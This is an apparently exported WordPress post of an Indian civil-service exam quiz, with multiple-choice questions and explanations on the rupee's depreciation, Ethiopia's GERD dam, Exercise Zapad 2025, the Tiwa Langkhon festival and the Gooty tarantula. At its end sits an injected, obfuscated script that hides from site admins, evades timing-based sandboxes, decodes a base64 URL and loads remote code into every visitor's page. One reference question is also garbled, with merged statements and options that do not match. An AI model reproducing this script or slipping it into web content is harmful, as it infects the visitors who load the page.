likely to cause the Indian Rupee to depreciate against the US Dollar?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">1. Increase in global crude oil prices.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">2. Large inflow of Foreign Portfolio Investment (FPI).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">3. US Federal Reserve increasing its policy interest rates.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">4. India\u2019s Current Account Deficit widening.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(a) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(c) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Answer: (a) 1, 3 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>In NEWS: <\/strong>Rupee recovers from record low to close 4 paise higher at 88.11 against U.S. dollar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Currency &amp; Exchange Rate Basics<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li><strong>Exchange Rate<\/strong>: Price of one currency in terms of another (\u20b9 per US$).<\/li>\n\n\n\n<li><strong>Depreciation<\/strong>: Fall in value of domestic currency against foreign (\u20b9 goes from 82 \u2192 88 per US$).<\/li>\n\n\n\n<li><strong>Appreciation<\/strong>: Rise in domestic currency value (\u20b9 goes from 88 \u2192 82 per US$).<\/li>\n\n\n\n<li><strong>Nominal vs Real Exchange Rate<\/strong>:<ul><li><em>Nominal<\/em> = market rate.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><em>Real<\/em> = adjusted for inflation differentials.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Factors Affecting Rupee Movement<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li><strong>Global factors<\/strong>:<br><strong>1.<\/strong> <strong>US Federal Reserve interest rate hikes<\/strong> attract capital to US, leading to FPI\/FII outflows from India.<br><strong>2.<\/strong> <strong>Strengthening of the Dollar Index:<\/strong>\u00a0 global investors move to \u201csafe haven\u201d dollar.<br><strong>3<\/strong>. <strong>Rise in crude oil prices<\/strong>: higher import bill for India (major oil importer).<br><strong>4.<\/strong> <strong>Global financial crises or recession fears<\/strong>: investors pull out funds from emerging markets.<\/li>\n\n\n\n<li><strong>Domestic factors<\/strong>:<br><strong>1.<\/strong> <strong>Widening Current Account Deficit (CAD)<\/strong>: more imports than exports \u2192 higher demand for dollars.<br><strong>2<\/strong>. <strong>High inflation in India<\/strong>: reduces investor confidence, weakens rupee.<br><strong>3.<\/strong> <strong>Low GDP growth prospects<\/strong>: reduces attractiveness of India for investors.<br><strong>4.<\/strong> <strong>Outflow of Foreign Portfolio Investment (FPI)<\/strong>: investors sell rupees and buy dollars.<strong> Hence statement 2 is incorrect.<\/strong><br><strong>5<\/strong>. <strong>Increase in gold imports and essential imports<\/strong>: more dollar demand.<\/li>\n\n\n\n<li><strong>Geopolitical tensions<\/strong> (wars, sanctions, trade conflicts): weaken emerging market currencies.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Role of RBI<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>RBI does <strong>not target a fixed exchange rate<\/strong>. It follows a managed<strong> float system<\/strong>.<\/li>\n\n\n\n<li>Intervenes to prevent <strong>excessive volatility<\/strong> (by selling $ when rupee weakens too much, buying $ when rupee strengthens).<\/li>\n\n\n\n<li>Maintains <strong>Forex Reserves (~$600 bn)<\/strong> for this purpose.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to the Indian economy, consider the following statements:<\/strong> <br><br>1. If the inflation is too high, Reserve Bank of India (RBI) is likely to buy government securities. <br>2. If the rupee is rapidly depreciating, RBI is likely to sell dollars in the market. <br>3. If interest rates in the USA or European Union were to fall, that is likely to induce RBI to buy dollars. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/markets\/rupee-recovers-from-record-low-to-close-4-paise-higher-at-8811-against-us-dollar\/article70033350.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/markets\/rupee-recovers-from-record-low-to-close-4-paise-higher-at-8811-against-us-dollar\/article70033350.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>7. The Grand Ethiopian Renaissance Dam is situated on which among the following rivers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) Zambezi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) Congo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) Limpopo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) Blue Nile<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (d) Blue Nile<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS: <\/strong>Ethiopia\u2019s mega dam has taken 14 years to build: What it means for the Nile\u2019s 11 river states<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>The Grand Ethiopian Renaissance Dam (GERD): Key Statements<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>GERD is Africa\u2019s largest hydroelectric power project, built on the Blue Nile River in the Benishangul-Gumuz region of Ethiopia, near the Sudanese border.<\/li>\n\n\n\n<li>Construction of the dam began in April 2011 and was officially inaugurated on September 9, 2025, after over 14 years of work.<\/li>\n\n\n\n<li>The dam has a power generation capacity of approximately 5,150 megawatts, which is expected to double Ethiopia\u2019s electricity output.<\/li>\n\n\n\n<li>GERD was funded primarily through domestic sources, including public donations, diaspora bonds, and government contributions\u2014making it a symbol of national pride and self-reliance.<\/li>\n\n\n\n<li>Ethiopia views GERD as essential for economic development, rural electrification, and poverty reduction, and asserts its sovereign right to utilize its natural resources.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"360\" height=\"357\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-8.jpg\" alt=\"\" class=\"wp-image-2348\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-8.jpg 360w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-8-300x298.jpg 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-8-150x150.jpg 150w\" sizes=\"auto, (max-width: 360px) 100vw, 360px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Blue Nile River:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>The Blue Nile River is one of the two major tributaries of the Nile River, the longest river in the world.<\/li>\n\n\n\n<li>Origin: The Blue Nile starts at Lake Tana in the Ethiopian Highlands.<\/li>\n\n\n\n<li>Country of Origin: Ethiopia<\/li>\n\n\n\n<li>Flows Through: Ethiopia \u2192 Sudan<\/li>\n\n\n\n<li>Confluence: It joins the White Nile in Khartoum, the capital of Sudan, forming the main Nile River.<\/li>\n\n\n\n<li>contributes about 80\u201385% of the water to the Nile River, especially during the rainy season.<\/li>\n\n\n\n<li>Crucial for agriculture and hydroelectric power in both Ethiopia and Sudan.<\/li>\n\n\n\n<li>The river&#8217;s flow varies greatly between the wet and dry seasons, impacting agriculture and water availability downstream.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Which one of the following lakes of West Africa has become dry and turned into a desert?<\/strong> <br><br>(a) Lake Victoria <br><strong>(b) Lake Faguibine<\/strong> <br>(c) Lake Oguta <br>(d) Lake Volta<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/africa\/ethiopias-mega-dam-has-taken-14-years-to-build-what-it-means-for-the-niles-11-river-states-why-its-so-controversial\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/africa\/ethiopias-mega-dam-has-taken-14-years-to-build-what-it-means-for-the-niles-11-river-states-why-its-so-controversial<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>8. Consider the following statements with respect to Exercise ZAPAD 2025:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">I. The Exercise provides a platform for participating armies to exchange tactics, techniques and procedures in the domains of conventional warfare and&nbsp; counter-terrorism operations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">II. The exercise is usually held once every four years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">III. India is one of the participants of the exercise.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Which of the statements given above are correct? <\/strong>&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(a) I and Il only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>In NEWS: <\/strong>INDIAN ARMED FORCES CONTINGENT DEPARTS FOR MULTILATERAL EXERCISE ZAPAD 2025 IN RUSSIA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Exercise Zapad:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>Zapad exercise (&#8216;Exercise West&#8217;) is a series of Soviet then Russian Federation military exercises usually held once every four years.&nbsp; <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Several of the exercises were joint Russian-Belarusian exercises held on Belarusian territory.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Exercise Zapad 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>The multilateral Exercise ZAPAD 2025 is aimed at enhancing military cooperation, improving interoperability, and providing a platform for participating armies to exchange tactics, techniques and procedures in the domains of conventional warfare and&nbsp; counter-terrorism operations. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The 2025 edition of the exercise will see the participation of over twenty countries including Belarus, Bangladesh, Burkina Faso, Congo, Mali, India, Iran, Niger and Tajikistan.&nbsp; <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>Cambodia, China, Cuba, Kazakhstan, Mongolia, Myanmar, Nicaragua, North Korea, Pakistan, Serbia, Thailand, the UAE and Uzbekistan will take part as observers.<\/li>\n\n\n\n<li>The exercise will focus on joint company level operations in open and plain terrain, wherein troops will undertake missions ranging from joint planning, tactical drills, and special arms skills.<\/li>\n\n\n\n<li>It will offer a valuable opportunity to hone joint operational capabilities, integrate emerging technologies, and operate in a multinational combat environment.<\/li>\n\n\n\n<li>Participation in Exercise ZAPAD 2025 will further strengthen defence cooperation and foster camaraderie between India and Russia, thereby reinforcing the spirit of collaboration and mutual trust.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Which of the following statements about \u2018Exercise Mitra Shakti-2023\u2019 are correct?<\/strong> <br><br>1. This was a joint military exercise between India and BangladeshIt commenced in Aundh (Pune).<br>2. Joint response during counter-terrorism operations was a goal of this operation.<br>3. Indian Air Force was a part of this exercise. <br><br><strong>Select the answer using the code given below:<\/strong> <br><br>(a) 1, 2 and 3 <br>(b) 1, 2 and 4 <br>(c) 1, 3 and 4 <br><strong>(d) 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2164916\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2164916<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>9. The langkhon festival is celebrated by the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(a) Khasis of Meghalaya<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(b) Tiwas of Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(c) Apatanis of Arunachal Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(d) Nagas of Nagaland<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Answer: (b) Tiwas of Assam<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>In NEWS: <\/strong>Tiwa tribesmen celebrate Langkhun festival in Umsowai village in Karbi Anglong district of Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>The Langkhon Festival:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li>The Langkhon Festival is a pre-harvest festival celebrated by the Tiwa tribe in the Karbi Anglong district of Assam.<strong> Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It usually occurs during the Ahin and Kati seasons, corresponding to October\u2013November, though the exact dates can vary each year<\/li>\n\n\n\n<li>The festival centers around worshipping deities such as Ramsa Devota (also referenced as Ramcha God) and Mother Bijuli, seeking protection for their paddy crops from pests and invoking blessings for a good harvest, healthy families, and overall prosperity.<\/li>\n\n\n\n<li>During the festival, farmers engage in traditional dances and rituals to pray for a bountiful harvest, with the festival also serving to strengthen the community&#8217;s cultural and traditional ties.<\/li>\n\n\n\n<li>Farmers perform traditional dances and rituals during the event.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"573\" height=\"437\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-9.jpg\" alt=\"\" class=\"wp-image-2349\" style=\"width:838px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-9.jpg 573w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-9-300x229.jpg 300w\" sizes=\"auto, (max-width: 573px) 100vw, 573px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>The Tiwa tribe:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-159\">\n<li>The Tiwa tribe (also known as Lalung) is one of the indigenous tribes of Northeast India, primarily inhabiting parts of Assam and Meghalaya, with some presence in Arunachal Pradesh, Nagaland, and Manipur.<\/li>\n\n\n\n<li>They are recognized as a Scheduled Tribe (Plains &amp; Hills) under the Constitution of India<\/li>\n\n\n\n<li>They have a rich cultural heritage, distinct language, and unique traditions.<\/li>\n\n\n\n<li>They speak Tiwa language, part of the Tibeto-Burman language family<\/li>\n\n\n\n<li>Traditionally follow a village council system led by a chief or &#8220;Loro&#8221;<\/li>\n\n\n\n<li>Have clan-based society, practicing endogamy within tribes but exogamy within clans<\/li>\n\n\n\n<li>Religion &amp; Beliefs<\/li>\n\n\n\n<li>Traditionally animists, worshipping nature, spirits, and ancestors<\/li>\n\n\n\n<li>Many have adopted Hinduism over time, especially in the plains<\/li>\n\n\n\n<li>Hill Tiwas still retain strong indigenous animistic practices<\/li>\n\n\n\n<li>They believe in multiple deities, such as:<\/li>\n\n\n\n<li>Festivals &amp; Cultural Practices &#8211; Langkhon Festival, Wanchuwa Festival,&nbsp; Pisu or Pisu-Dima,&nbsp; Jonbeel Mela<\/li>\n\n\n\n<li>Wanshuwa and Langkhon dances are popular &#8211; Performed during festivals using traditional instruments.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <strong>Q. Consider the following pairs: (2018)<\/strong> <br><br><strong>Tradition\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0     \u2014\u00a0 State<\/strong> <br>1. Chapchar Kut Festival\u00a0\u00a0  \u2014\u00a0 Mizoram <br>2. Khongjom Parba ballad \u2014\u00a0 Manipur <br>3. Thang-Ta Dance\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u2014\u00a0\u00a0 Sikkim <br><br><strong>Which of the pairs given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 2<\/strong> <br>(c) 3 only <br>(d) 2 and 3 \u00a0 <br><br><strong>Consider the following pairs: (2017)<\/strong> <strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/strong><br><strong>Traditions \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0                       Communities<\/strong> <br>Chaliha Sahib Festival\u00a0\u00a0\u00a0\u00a0\u00a0         Sindhis<br>Nanda Raj Jaat Yatra\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Gonds<br>Wari-Warkari\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Santhals <br><br><strong>Which of the pairs given above is\/are correctly matched?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) None of the above<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Source: THE HINDU<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>10. Regarding Peacock tarantula (Gooty tarantula), consider the following statements: (2025)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">I. It is an omnivorous crustacean.&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">II. Its natural habitat in India is only limited to some forest areas.&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">III. In its natural habitat, it is an arboreal species.&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(a) I only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(b) I and III&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(c) II only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Answer: (d) II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>The Peacock tarantula:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>The Peacock tarantula (Poecilotheria metallica \/ Gooty tarantula) is a spider (arachnid), not a crustacean. Also, it is carnivorous, not omnivorous. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Its natural habitat is very limited to a small reserve forest area around Gooty (Andhra Pradesh, Eastern Ghats).<\/li>\n\n\n\n<li>It is an arboreal species (lives in trees).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"259\" height=\"194\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-10.jpg\" alt=\"\" class=\"wp-image-2350\"\/><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which one of the following is the correct description of \u2018Adi Karmayogi Abhiyan\u2019? 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